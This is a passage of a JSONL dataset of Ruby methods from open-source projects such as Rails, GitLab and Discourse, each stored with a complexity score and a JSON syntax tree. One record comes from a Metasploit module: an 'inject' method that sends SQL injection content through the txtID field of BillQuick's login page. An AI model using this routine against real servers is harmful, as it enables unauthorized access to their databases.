MediumArticleRetrievalService.new(url).call\n rescue StandardError\n raise_error\n end","complexity_score":11.1,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_url\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"match\",{\"type\":\"send\",\"children\":[null,\"pattern_match_for\",{\"type\":\"lvar\",\"children\":[\"url\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REGISTRY_REGEXP\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"StandardError\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"liquid_tags.medium_tag.invalid_link_url\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MediumArticleRetrievalService\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"url\"]}]},\"call\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise_error\"]}]},null]}]}","id":"13764fbe-769f-4208-8b25-d695c69877df"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/middleware/debug_exceptions.rb","start_line":23,"raw_source":"def initialize(app, routes_app = nil, response_format = :default, interceptors = self.class.interceptors)\n @app = app\n @routes_app = routes_app\n @response_format = response_format\n @interceptors = interceptors\n end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"app\"]},{\"type\":\"optarg\",\"children\":[\"routes_app\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"response_format\",{\"type\":\"sym\",\"children\":[\"default\"]}]},{\"type\":\"optarg\",\"children\":[\"interceptors\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"interceptors\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@app\",{\"type\":\"lvar\",\"children\":[\"app\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@routes_app\",{\"type\":\"lvar\",\"children\":[\"routes_app\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@response_format\",{\"type\":\"lvar\",\"children\":[\"response_format\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@interceptors\",{\"type\":\"lvar\",\"children\":[\"interceptors\"]}]}]}]}","id":"5a13201c-d5b0-47cd-81cd-db7dcca066dd"} {"repo_name":"discourse","file_path":"./repos/discourse/lib/bookmarks_bulk_action.rb","start_line":33,"raw_source":"def delete\n @bookmark_ids.each do |bookmark_id|\n if guardian.can_delete?(bookmark_id)\n BookmarkManager.new(@user).destroy(bookmark_id)\n @changed_ids << bookmark_id\n end\n end\n end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"delete\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@bookmark_ids\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"bookmark_id\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"guardian\"]},\"can_delete?\",{\"type\":\"lvar\",\"children\":[\"bookmark_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BookmarkManager\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@user\"]}]},\"destroy\",{\"type\":\"lvar\",\"children\":[\"bookmark_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@changed_ids\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"bookmark_id\"]}]}]},null]}]}]}","id":"f87388d8-cf62-4219-ae82-f8b111703b30"} {"repo_name":"discourse","file_path":"./repos/discourse/app/helpers/application_helper.rb","start_line":498,"raw_source":"def normalized_safe_mode\n safe_mode = []\n\n safe_mode << ApplicationController::NO_THEMES if customization_disabled?\n safe_mode << ApplicationController::NO_PLUGINS if !allow_plugins?\n safe_mode << ApplicationController::NO_UNOFFICIAL_PLUGINS if !allow_third_party_plugins?\n\n safe_mode.join(\",\")\n end","complexity_score":13.7,"ast_json":"{\"type\":\"def\",\"children\":[\"normalized_safe_mode\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"safe_mode\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"customization_disabled?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"safe_mode\"]},\"<<\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ApplicationController\"]},\"NO_THEMES\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow_plugins?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"safe_mode\"]},\"<<\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ApplicationController\"]},\"NO_PLUGINS\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow_third_party_plugins?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"safe_mode\"]},\"<<\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ApplicationController\"]},\"NO_UNOFFICIAL_PLUGINS\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"safe_mode\"]},\"join\",{\"type\":\"str\",\"children\":[\",\"]}]}]}]}","id":"ccb82510-d315-4aae-b49d-b8885bbdecb6"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/billquick_txtid_sqli.rb","start_line":83,"raw_source":"def inject(content, state, generator, validation)\n res = send_request_cgi({\n 'uri' => normalize_uri(target_uri.path, 'default.aspx'),\n 'method' => 'POST',\n 'vars_post' => {\n '__VIEWSTATE' => state,\n '__VIEWSTATEGENERATOR' => generator,\n '__EVENTVALIDATION' => validation,\n '__EVENTTARGET' => 'cmdOK',\n '__EVENTARGUMENT' => '',\n 'txtID' => content,\n 'txtPW' => '',\n 'hdnClientDPI' => '96'\n }\n }, datastore['HttpClientTimeout'])\n\n fail_with(Failure::Unreachable, \"#{peer} - Could not connect to web service - no response\") if res.nil?\n fail_with(Failure::UnexpectedReply, \"#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}\") if res.code != 200\n res.body\n end","complexity_score":21.4,"ast_json":"{\"type\":\"def\",\"children\":[\"inject\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content\"]},{\"type\":\"arg\",\"children\":[\"state\"]},{\"type\":\"arg\",\"children\":[\"generator\"]},{\"type\":\"arg\",\"children\":[\"validation\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"default.aspx\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"__VIEWSTATE\"]},{\"type\":\"lvar\",\"children\":[\"state\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"__VIEWSTATEGENERATOR\"]},{\"type\":\"lvar\",\"children\":[\"generator\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"__EVENTVALIDATION\"]},{\"type\":\"lvar\",\"children\":[\"validation\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"__EVENTTARGET\"]},{\"type\":\"str\",\"children\":[\"cmdOK\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"__EVENTARGUMENT\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"txtID\"]},{\"type\":\"lvar\",\"children\":[\"content\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"txtPW\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"hdnClientDPI\"]},{\"type\":\"str\",\"children\":[\"96\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"HttpClientTimeout\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unreachable\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Could not connect to web service - no response\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"!=\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Check URI Path, unexpected HTTP response code: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]}]}]}","id":"a70b7b4a-eed8-49a4-8dc6-9604b0a3183a"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop/search/avoid_checking_finished_on_invalid_migrations.rb","start_line":59,"raw_source":"def migrations_available?\n Dir.exist?(DOCS_PATH) && Dir.exist?(MIGRATIONS_PATH)\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"migrations_available?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"exist?\",{\"type\":\"const\",\"children\":[null,\"DOCS_PATH\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"exist?\",{\"type\":\"const\",\"children\":[null,\"MIGRATIONS_PATH\"]}]}]}]}","id":"3cfe920c-f35c-48be-8d2d-2964e9cb5ef1"} {"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/components/about_page_users_list.rb","start_line":26,"raw_source":"def collapsible?\n container.find(\".about-page-users-list__expand-button\").has_text?(\n I18n.t(\"js.about.view_less\"),\n )\n end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"collapsible?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"container\"]},\"find\",{\"type\":\"str\",\"children\":[\".about-page-users-list__expand-button\"]}]},\"has_text?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"js.about.view_less\"]}]}]}]}","id":"b3126486-4ee7-4a15-b2e9-8c3201328467"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/jwt_token.rb","start_line":38,"raw_source":"def initialize\n super(self.class.secret)\n self.expire_time = self.issued_at + HMAC_EXPIRES_IN.to_i\n end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"secret\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"expire_time=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"issued_at\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HMAC_EXPIRES_IN\"]},\"to_i\"]}]}]}]}]}","id":"89380288-f484-48ca-b847-a3613d5c7f69"} {"repo_name":"fastlane","file_path":"./repos/fastlane/snapshot/lib/snapshot/simulator_launchers/simulator_launcher_base.rb","start_line":161,"raw_source":"def erase_simulator(device_type)\n UI.verbose(\"Erasing #{device_type}...\")\n device_udid = TestCommandGenerator.device_udid(device_type)\n\n UI.important(\"Erasing #{device_type}...\")\n\n `xcrun simctl erase #{device_udid} &> /dev/null`\n end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"erase_simulator\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"device_type\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"verbose\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Erasing \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"device_type\"]}]},{\"type\":\"str\",\"children\":[\"...\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"device_udid\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TestCommandGenerator\"]},\"device_udid\",{\"type\":\"lvar\",\"children\":[\"device_type\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"important\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Erasing \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"device_type\"]}]},{\"type\":\"str\",\"children\":[\"...\"]}]}]},{\"type\":\"xstr\",\"children\":[{\"type\":\"str\",\"children\":[\"xcrun simctl erase \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"device_udid\"]}]},{\"type\":\"str\",\"children\":[\" &> /dev/null\"]}]}]}]}","id":"bea7d7c9-70c3-4611-9126-f97a739978ec"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/api_internal_base_helpers.rb","start_line":8,"raw_source":"def gl_repository_for(container)\n case container\n when ProjectWiki\n Gitlab::GlRepository::WIKI.identifier_for_container(container)\n when Project\n Gitlab::GlRepository::PROJECT.identifier_for_container(container)\n when Snippet\n Gitlab::GlRepository::SNIPPET.identifier_for_container(container)\n end\n end","complexity_score":7.9,"ast_json":"{\"type\":\"def\",\"children\":[\"gl_repository_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"container\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"container\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ProjectWiki\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"GlRepository\"]},\"WIKI\"]},\"identifier_for_container\",{\"type\":\"lvar\",\"children\":[\"container\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"GlRepository\"]},\"PROJECT\"]},\"identifier_for_container\",{\"type\":\"lvar\",\"children\":[\"container\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Snippet\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"GlRepository\"]},\"SNIPPET\"]},\"identifier_for_container\",{\"type\":\"lvar\",\"children\":[\"container\"]}]}]},null]}]}","id":"b54d7c02-49cc-43a9-b91a-6b2766174725"} {"repo_name":"rails","file_path":"./repos/rails/activestorage/test/fixture_set_test.rb","start_line":30,"raw_source":"def test_active_storage_metadata\n user = users(:first)\n\n avatar = user.avatar.tap(&:analyze)\n\n assert avatar.metadata[\"identified\"]\n assert avatar.metadata[\"analyzed\"]\n end","complexity_score":13.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_active_storage_metadata\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[null,\"users\",{\"type\":\"sym\",\"children\":[\"first\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"avatar\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"avatar\"]},\"tap\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"analyze\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"avatar\"]},\"metadata\"]},\"[]\",{\"type\":\"str\",\"children\":[\"identified\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"avatar\"]},\"metadata\"]},\"[]\",{\"type\":\"str\",\"children\":[\"analyzed\"]}]}]}]}]}","id":"c2bce417-64eb-4ace-b7df-45f4324070ff"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/packages/maven/metadata/create_versions_xml_service.rb","start_line":89,"raw_source":"def update_last_updated_timestamp\n last_updated_xml_node.content = Time.zone.now.strftime('%Y%m%d%H%M%S')\n end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"update_last_updated_timestamp\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"last_updated_xml_node\"]},\"content=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"now\"]},\"strftime\",{\"type\":\"str\",\"children\":[\"%Y%m%d%H%M%S\"]}]}]}]}","id":"37ea3925-9d81-4591-85ef-d961112967a1"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/project/settings/repository.rb","start_line":52,"raw_source":"def expand_mirroring_repositories(&block)\n expand_content('mirroring-repositories-settings-content') do\n MirroringRepositories.perform(&block)\n end\n end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"expand_mirroring_repositories\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expand_content\",{\"type\":\"str\",\"children\":[\"mirroring-repositories-settings-content\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MirroringRepositories\"]},\"perform\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}","id":"b7f83f4b-3dc3-4ec6-bc3f-2478133779ba"} {"repo_name":"openproject","file_path":"./repos/openproject/app/models/enterprise_token.rb","start_line":76,"raw_source":"def trialling_features\n available_features - non_trialling_features\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"trialling_features\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"available_features\"]},\"-\",{\"type\":\"send\",\"children\":[null,\"non_trialling_features\"]}]}]}","id":"2256a95e-6045-4b1a-841d-bc79ead625c2"} {"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/photos/importer.rb","start_line":17,"raw_source":"def call\n json = load_json_data\n points_data = json.map { |point| prepare_point_data(point) }\n\n points_data.compact.each_slice(BATCH_SIZE).with_index do |batch, batch_index|\n bulk_insert_points(batch)\n broadcast_import_progress(import, (batch_index + 1) * BATCH_SIZE)\n end\n end","complexity_score":17.95,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"json\",{\"type\":\"send\",\"children\":[null,\"load_json_data\"]}]},{\"type\":\"lvasgn\",\"children\":[\"points_data\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"point\"]}]},{\"type\":\"send\",\"children\":[null,\"prepare_point_data\",{\"type\":\"lvar\",\"children\":[\"point\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"points_data\"]},\"compact\"]},\"each_slice\",{\"type\":\"const\",\"children\":[null,\"BATCH_SIZE\"]}]},\"with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"batch\"]},{\"type\":\"arg\",\"children\":[\"batch_index\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"bulk_insert_points\",{\"type\":\"lvar\",\"children\":[\"batch\"]}]},{\"type\":\"send\",\"children\":[null,\"broadcast_import_progress\",{\"type\":\"send\",\"children\":[null,\"import\"]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"batch_index\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},\"*\",{\"type\":\"const\",\"children\":[null,\"BATCH_SIZE\"]}]}]}]}]}]}]}","id":"508dbc19-313c-4764-9896-dddc53a9340d"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/feature_loader.rb","start_line":60,"raw_source":"def namespaced_target\n if relative?\n relative(namespaced_feature)\n else\n namespaced_feature\n end\n end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"namespaced_target\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"relative?\"]},{\"type\":\"send\",\"children\":[null,\"relative\",{\"type\":\"send\",\"children\":[null,\"namespaced_feature\"]}]},{\"type\":\"send\",\"children\":[null,\"namespaced_feature\"]}]}]}","id":"d011aadb-1c2b-4884-8af3-798cb894d070"} {"repo_name":"forem","file_path":"./repos/forem/app/helpers/notifications_helper.rb","start_line":18,"raw_source":"def render_notification_or_error(notification, error:)\n capture { yield(notification) }\n rescue StandardError => e\n raise if Rails.env.development?\n\n Honeybadger.notify(e, context: { notification_id: notification.id })\n capture { render error }\n end","complexity_score":16.0,"ast_json":"{\"type\":\"def\",\"children\":[\"render_notification_or_error\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"notification\"]},{\"type\":\"kwarg\",\"children\":[\"error\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"capture\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notification\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"env\"]},\"development?\"]},{\"type\":\"send\",\"children\":[null,\"raise\"]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Honeybadger\"]},\"notify\",{\"type\":\"lvar\",\"children\":[\"e\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"context\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"notification_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notification\"]},\"id\"]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"capture\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"lvar\",\"children\":[\"error\"]}]}]}]}]},null]}]}","id":"a7ece76a-d35e-4a47-9602-f452155da20d"} {"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/connect_api/models/beta_tester_metric.rb","start_line":39,"raw_source":"def installed?\n return beta_tester_state == BetaTesterState::INSTALLED\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"installed?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"beta_tester_state\"]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BetaTesterState\"]},\"INSTALLED\"]}]}]}]}","id":"93f8bcb3-4618-4f7b-b4ee-c418a3f80d63"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit_driver.rb","start_line":268,"raw_source":"def job_cleanup_proc(ctx)\n exploit, payload = ctx\n\n # Ensure that, no matter what, clean up of the handler occurs\n semaphore.synchronize { payload.stop_handler }\n\n exploit.framework.events.on_module_complete(exploit)\n\n # Allow the exploit to cleanup after itself, that messy bugger.\n semaphore.synchronize { exploit.cleanup }\n end","complexity_score":15.2,"ast_json":"{\"type\":\"def\",\"children\":[\"job_cleanup_proc\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ctx\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"exploit\"]},{\"type\":\"lvasgn\",\"children\":[\"payload\"]}]},{\"type\":\"lvar\",\"children\":[\"ctx\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"semaphore\"]},\"synchronize\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"stop_handler\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exploit\"]},\"framework\"]},\"events\"]},\"on_module_complete\",{\"type\":\"lvar\",\"children\":[\"exploit\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"semaphore\"]},\"synchronize\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exploit\"]},\"cleanup\"]}]}]}]}","id":"1196ff1f-ddc3-492f-990f-013eae6785d3"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_product_feature/seeding.rb","start_line":9,"raw_source":"def seed_files\n return seed_root_filename, seed_core_files + seed_plugin_files\n end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"seed_files\",{\"type\":\"args\",\"children\":[]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"seed_root_filename\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"seed_core_files\"]},\"+\",{\"type\":\"send\",\"children\":[null,\"seed_plugin_files\"]}]}]}]}","id":"986c93e2-9f61-4a3c-97cd-8a0631c813e6"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/configured_system.rb","start_line":71,"raw_source":"def configuration_domain\n tag_hash[ConfigurationDomain]\n 